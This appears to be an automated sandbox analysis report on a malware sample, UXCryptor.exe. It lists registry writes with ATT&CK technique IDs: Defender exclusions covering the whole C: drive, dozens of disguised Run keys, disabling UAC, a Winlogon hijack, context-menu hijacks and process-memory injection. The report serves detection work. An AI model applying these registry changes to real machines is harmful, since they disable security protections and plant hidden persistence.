Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xla = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xml = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xltx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\tar = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\gz = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cmd = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\htm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pptm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\potx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\tiff = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pps = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C: = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\drv = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\com = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ps2 = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\wma = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\zip = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\jse = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xlsb = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\gif = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\psd = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\bmp = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\jse = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\inf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pot = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ods = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pl = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pdf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\bmp = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ppam = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xlt = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\emf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\swf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\aspx = "0"	UXCryptor.exe

Adds Run key to start application 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_200 = "686052"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_23 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_50 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_63 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_54 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_232 = "441683"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_31 = "159054"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_14 = "830338"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_156 = "924548"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_9 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_89 = "958899"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_53 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_94 = "106005"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_237 = "441683"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_203 = "686052"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_172 = "880415"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_10 = "736128"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_189 = "510386"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_115 = "958899"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_218 = "479006"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_15 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_67 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_75 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_106 = "106005"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_214 = "588941"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_152 = "187462"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_240 = "431901"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_138 = "381824"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_21 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_169 = "347473"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_210 = "266017"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_221 = "588941"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_70 = "159054"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_92 = "911794"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_42 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_63 = "206158"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_254 = "654672"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_31 = "159054"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_126 = "381824"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_130 = "381824"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_242 = "654672"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\" --init"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_117 = "911794"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_175 = "880415"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_50 = "830338"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_27 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_39 = "830338"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_128 = "378853"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_176 = "670397"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_144 = "704749"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_4 = "830338"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_67 = "253263"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_239 = "441683"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_15 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_99 = "958899"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_184 = "880415"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_67 = "253263"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_72 = "253263"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_24 = "159054"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_75 = "159054"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_187 = "510386"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_30 = "783233"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_70 = "206158"	UXCryptor.exe

Checks whether UAC is enabled 1 TTPs 12 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	UXCryptor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe

Modifies WinLogon 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity\Startup = "WindowsSecurityStartup"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity\DLLName = "C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity\Startup = "WindowsSecurityStartup"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity\DLLName = "C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe"	UXCryptor.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\winsecsvc.exe	UXCryptor.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 24 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2760	cmd.exe
8704	cmd.exe
8688	cmd.exe
8680	cmd.exe
19392	cmd.exe
2324	cmd.exe
8720	cmd.exe
19368	cmd.exe
19348	cmd.exe
14308	cmd.exe
8712	cmd.exe
19376	cmd.exe
19360	cmd.exe
8756	cmd.exe
14324	cmd.exe
14316	cmd.exe
2676	cmd.exe
3760	cmd.exe
3744	cmd.exe
8696	cmd.exe
19384	cmd.exe
12244	cmd.exe
14300	cmd.exe
1688	cmd.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1756	sc.exe
3200	sc.exe
8784	sc.exe
8776	sc.exe
19440	sc.exe
10380	sc.exe
10308	sc.exe
4672	sc.exe
8792	sc.exe
16616	sc.exe
19448	sc.exe
10276	sc.exe

Program crash 11 IoCs

pid	pid_target	Process	procid_target
19800	4524	WerFault.exe	89
13512	4180	WerFault.exe	90
18792	4392	WerFault.exe	91
10068	9496	WerFault.exe	535
1772	9704	WerFault.exe	560
12236	5180	WerFault.exe	240
11916	2004	WerFault.exe	167
8560	2780	WerFault.exe	149
20956	9584	WerFault.exe	546
15076	9480	WerFault.exe	533
7236	4524	WerFault.exe	89

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UXCryptor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UXCryptor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UXCryptor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UXCryptor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UXCryptor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UXCryptor.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
12276	taskkill.exe
816	taskkill.exe
8728	taskkill.exe
19400	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell\WindowsSecurity\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\" --folder-scan"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\WindowsSecurity\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\" --context-menu"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell\WindowsSecurity\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\" --folder-scan"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\WindowsSecurity\command	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\WindowsSecurity	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\WindowsSecurity\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\" --context-menu"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell\WindowsSecurity\command	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell\WindowsSecurity	UXCryptor.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3520	schtasks.exe
8736	schtasks.exe
19408	schtasks.exe
12296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2972	UXCryptor.exe
2972	UXCryptor.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	UXCryptor.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2972	UXCryptor.exe
3452	UXCryptor.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2760	2972	UXCryptor.exe	93
PID 2972 wrote to memory of 1688	2972	UXCryptor.exe	94
PID 2972 wrote to memory of 3744	2972	UXCryptor.exe	95
PID 2972 wrote to memory of 3760	2972	UXCryptor.exe	96
PID 2972 wrote to memory of 2324	2972	UXCryptor.exe	97
PID 2972 wrote to memory of 2676	2972	UXCryptor.exe	98
PID 2972 wrote to memory of 816	2972	UXCryptor.exe	1459
PID 2972 wrote to memory of 3520	2972	UXCryptor.exe	100
PID 2972 wrote to memory of 4436	2972	UXCryptor.exe	101
PID 2972 wrote to memory of 4828	2972	UXCryptor.exe	102
PID 2972 wrote to memory of 3712	2972	UXCryptor.exe	103
PID 2972 wrote to memory of 3200	2972	UXCryptor.exe	104
PID 2972 wrote to memory of 1756	2972	UXCryptor.exe	105
PID 2972 wrote to memory of 4672	2972	UXCryptor.exe	106
PID 2972 wrote to memory of 1872	2972	UXCryptor.exe	107
PID 2972 wrote to memory of 4544	2972	UXCryptor.exe	108
PID 2972 wrote to memory of 2388	2972	UXCryptor.exe	109
PID 2972 wrote to memory of 1108	2972	UXCryptor.exe	110
PID 2972 wrote to memory of 1648	2972	UXCryptor.exe	111
PID 2972 wrote to memory of 3316	2972	UXCryptor.exe	112
PID 2972 wrote to memory of 3020	2972	UXCryptor.exe	113
PID 2972 wrote to memory of 1644	2972	UXCryptor.exe	114
PID 2972 wrote to memory of 1660	2972	UXCryptor.exe	115
PID 2972 wrote to memory of 116	2972	UXCryptor.exe	116
PID 2972 wrote to memory of 232	2972	UXCryptor.exe	117
PID 2972 wrote to memory of 3716	2972	UXCryptor.exe	118
PID 2972 wrote to memory of 3484	2972	UXCryptor.exe	119
PID 2972 wrote to memory of 3252	2972	UXCryptor.exe	120
PID 2972 wrote to memory of 4608	2972	UXCryptor.exe	121
PID 2972 wrote to memory of 3044	2972	UXCryptor.exe	122
PID 2972 wrote to memory of 632	2972	UXCryptor.exe	123
PID 2972 wrote to memory of 388	2972	UXCryptor.exe	124
PID 2972 wrote to memory of 3324	2972	UXCryptor.exe	125
PID 2972 wrote to memory of 3636	2972	UXCryptor.exe	126
PID 2972 wrote to memory of 3612	2972	UXCryptor.exe	127
PID 2972 wrote to memory of 3460	2972	UXCryptor.exe	128
PID 2972 wrote to memory of 3332	2972	UXCryptor.exe	129
PID 2972 wrote to memory of 5060	2972	UXCryptor.exe	130
PID 2972 wrote to memory of 1516	2972	UXCryptor.exe	131
PID 2972 wrote to memory of 5020	2972	UXCryptor.exe	132
PID 2972 wrote to memory of 4316	2972	UXCryptor.exe	133
PID 2972 wrote to memory of 2452	2972	UXCryptor.exe	134
PID 2972 wrote to memory of 444	2972	UXCryptor.exe	135
PID 2972 wrote to memory of 1584	2972	UXCryptor.exe	136
PID 2972 wrote to memory of 1112	2972	UXCryptor.exe	137
PID 2972 wrote to memory of 1332	2972	UXCryptor.exe	138
PID 2972 wrote to memory of 4708	2972	UXCryptor.exe	139
PID 2972 wrote to memory of 1456	2972	UXCryptor.exe	140
PID 2972 wrote to memory of 4724	2972	UXCryptor.exe	141
PID 2972 wrote to memory of 4620	2972	UXCryptor.exe	142
PID 2972 wrote to memory of 4676	2972	UXCryptor.exe	143
PID 2972 wrote to memory of 3764	2972	UXCryptor.exe	144
PID 2972 wrote to memory of 4420	2972	UXCryptor.exe	145
